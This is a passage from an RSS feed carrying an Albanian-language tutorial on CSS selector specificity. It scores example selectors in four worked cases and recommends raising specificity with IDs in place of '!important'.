bold;">li</span>&gt;</span></li><li>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">li</span> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;aktive&quot;</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">a</span> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;#&quot;</span>&gt;</span>Menu 2<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">a</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">li</span>&gt;</span></li><li>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">li</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">a</span> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;#&quot;</span>&gt;</span>Menu 2<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">a</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">li</span>&gt;</span></li><li>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">li</span>&gt;&lt;<span style="color: #000000; font-weight: bold;">a</span> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;#&quot;</span>&gt;</span>Menu 2<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">a</span>&gt;&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">li</span>&gt;</span></li><li>&nbsp;&nbsp;&nbsp;&nbsp;<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">ul</span>&gt;</span></li><li><span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">div</span>&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p><strong>Rasti 1</strong></p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="CSS"><div class="devcodeoverflow"><ol><li>li a <span style="color: #00AA00;">&#123;</span> <span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">red</span><span style="color: #00AA00;">;</span> <span style="color: #00AA00;">&#125;</span></li><li>a <span style="color: #00AA00;">&#123;</span> <span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span> <span style="color: #000000; font-weight: bold;">blue</span><span style="color: #00AA00;">;</span> <span style="color: #00AA00;">&#125;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Kemi 2 selektorë që i referohen lidhjeve. I pari ka 2x Elementë (2 pikë), ndërsa i dyti ka 1x Element (1 pikë). Si rrjedhim, peshën më të madhe e ka i pari dhe të gjitha lidhjet brenda listave do të bëhen të kuq. Kuptohet, lidhjet jashtë listave do të bëhen blu, sepse në ato raste, selektori i parë (li a) nuk ka fare efekt.</p>
<p><strong>Rasti 2</strong></p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="CSS"><div class="devcodeoverflow"><ol><li>ul li a <span style="color: #00AA00;">&#123;</span> <span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">red</span><span style="color: #00AA00;">;</span> <span style="color: #00AA00;">&#125;</span></li><li><span style="color: #cc00cc;">#menu</span> a <span style="color: #00AA00;">&#123;</span> <span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span> <span style="color: #000000; font-weight: bold;">blue</span><span style="color: #00AA00;">;</span> <span style="color: #00AA00;">&#125;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Përsëri kemi 2 selektorë që tentojnë të përcaktojnë ngjyrën e lidhjeve. I pari ka 3x Elementë (3 pikë), ndërsa i dyti ka 1x ID (100 pikë) + 1x Element (1 pikë) për një total prej 101 pikësh. Peshën më të madhe e ka i dyti dhe të gjitha lidhjet brenda div-it #menu (përfshi edhe listën) do të bëhen blu. Selektori i parë nuk ka efekt në asnjë element.</p>
<p><strong>Rasti 3</strong></p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="CSS"><div class="devcodeoverflow"><ol><li>a<span style="color: #00AA00;">&#91;</span>href<span style="color: #00AA00;">=</span><span style="color: #ff0000;">&quot;#&quot;</span><span style="color: #00AA00;">&#93;</span> <span style="color: #00AA00;">&#123;</span> <span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span> <span style="color: #993333;">red</span><span style="color: #00AA00;">;</span> <span style="color: #00AA00;">&#125;</span></li><li>a <span style="color: #00AA00;">&#123;</span> <span style="color: #000000; font-weight: bold;">color</span><span style="color: #00AA00;">:</span> <span style="color: #000000; font-weight: bold;">blue</span><span style="color: #00AA00;">;</span> <span style="color: #00AA00;">&#125;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Një tjetër referencë ndaj lidhjeve, por ku kam përdorur selektorin atribut. I pari ka 1x Element (1 pikë) + 1x Atribut (10 pikë) për një total prej 11 pikësh. I dty ka vetëm 1x Element (1 pikë). Kuptohet tashmë që ngjyrat e lidhjeve me atribut: href=&#8221;#&#8221;, do të marrin ngjyrë të kuqe. Çdo lidhje tjetër që ka atribut të ndryshëm do të marrin ngjyrë blu.</p>
<p><strong>Rasti 4</strong></p>
<p><!--DEVFMTCODE--><pre class="devcodeblock" title="CSS"><div class="devcodeoverflow"><ol><li>ul<span style="color: #cc00cc;">#menu</span> li<span style="color: #6666ff;">.aktive</span> <span style="color: #00AA00;">&#123;</span> <span style="color: #000000; font-weight: bold;">padding-left</span><span style="color: #00AA00;">:</span> <span style="color: #933;">10px</span><span style="color: #00AA00;">;</span> <span style="color: #00AA00;">&#125;</span></li><li>div<span style="color: #cc00cc;">#koka</span> ul<span style="color: #cc00cc;">#menu</span> li <span style="color: #00AA00;">&#123;</span> <span style="color: #000000; font-weight: bold;">padding-left</span><span style="color: #00AA00;">:</span> <span style="color: #933;">20px</span><span style="color: #00AA00;">;</span> <span style="color: #00AA00;">&#125;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<p>Ky është një shembull pak jo tipik, por që demonstron më së miri peshën. Logjika normale (pa njohur peshën), do shkonte drejt selektorit të parë, duke qenë se i referohet specifikisht elementëve të listave me klasë &#8220;aktive&#8221;. Le ta analizojmë. Shprehja e parë ka 1x ID (100 pikë) + 1x Klasë (10 pikë) + 2x Elementë (2 pikë) për një total prej 112 pikësh. I dyti ka 2x ID (200 pikë) + 3x Elementë (3 pikë) për një total prej 2003 pikësh. Bëhet e qartë që fituese është shprehja e dytë dhe të gjithë elementët &#8220;li&#8221; do të marrin 20px padding-left, pavarësisht nëse kanë klasë &#8220;aktive&#8221; apo jo.</p>
<h2>Pse na Duhet Pesha</h2>
<p>Nuk e lashë këtë seksion në fund pa arsye. Tani që e njihni çfarë përcakton pesha, mund të dilni në konkluzionet tuaja. Me siguri, disa po vrasin akoma mendjen se për çfarë na hyn në punë ky sistem, ndërsa të tjerë janë të kënaqur që e zbuluan. Kushdo qoftë rasti, do e shpjegoj.</p>
<p>Ndodh shpesh të krijohen rregulla pas rregullash që përcaktojnë dekorime për elementë të njëjtë, por në pjesën më të madhe të rasteve shkruhen ID apo klasa për t&#8217;ju referuar elementëve specifikë. Në këto raste përcaktohet peshë pa e kuptuar dhe s&#8217;ka asgjë për të llogaritur. Por, ka plot raste ku krijohen rregulla me peshë më të madhe se një e rregull e mëparshme dhe mbivendosja mund të jetë e padëshiruar. Në të tilla raste, dikush pa njohuri me peshën shton &#8220;!important&#8221; dhe mbaron punë. E keqja është se &#8220;!important&#8221; imponon peshën dhe praktikisht thyen elementin më të rëndësishëm të CSS: Cascading. Që tani e tutje, hiqni dorë nga &#8220;!important&#8221; dhe shtoni një #id përpara shprehjes për ti dhënë më tepër peshë. Fare e thjeshtë dhe tërësisht brenda rregullave.</p>
<h2>Përfundimi</h2>
<p>E përmenda që në hyrje të guidës që pesha e selektorëve është ndër zonat më të &#8220;errëta&#8221; të CSS. Përveç se përmendet pak, qoftë në guida apo libra, përmban një nivel të caktuar kompliksiteti sepse që të kuptohet, duhet të kesh eksperiencë direkte me CSS. Sidoqoftë, shpresoj që guida të ketë bërë një përmbledhje të mirë të atyre që duhet të dini.</p>
<p>Për ta përfunduar, po e rithem edhe një herë që Pesha e Selektorëve përcaktohet fare lehtë përmes një sistemi pikësh ku selektorëve u vendoset një numër i caktuar pikësh. Praktikisht, sa më specifik të jetë selektori, aq më peshë ka dhe kjo vendoset nga më e larta deri tek më e ulta në këtë renditje: ID, klasë/atribut, element/pseudo-klasë/pseudo-element.</p>
<p>Mësim të mbarë.</p>
]]></content:encoded>
			<wfw:commentRss>http://feniksi.com/web/css/pesha-e-selektoreve-ne-css-2/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

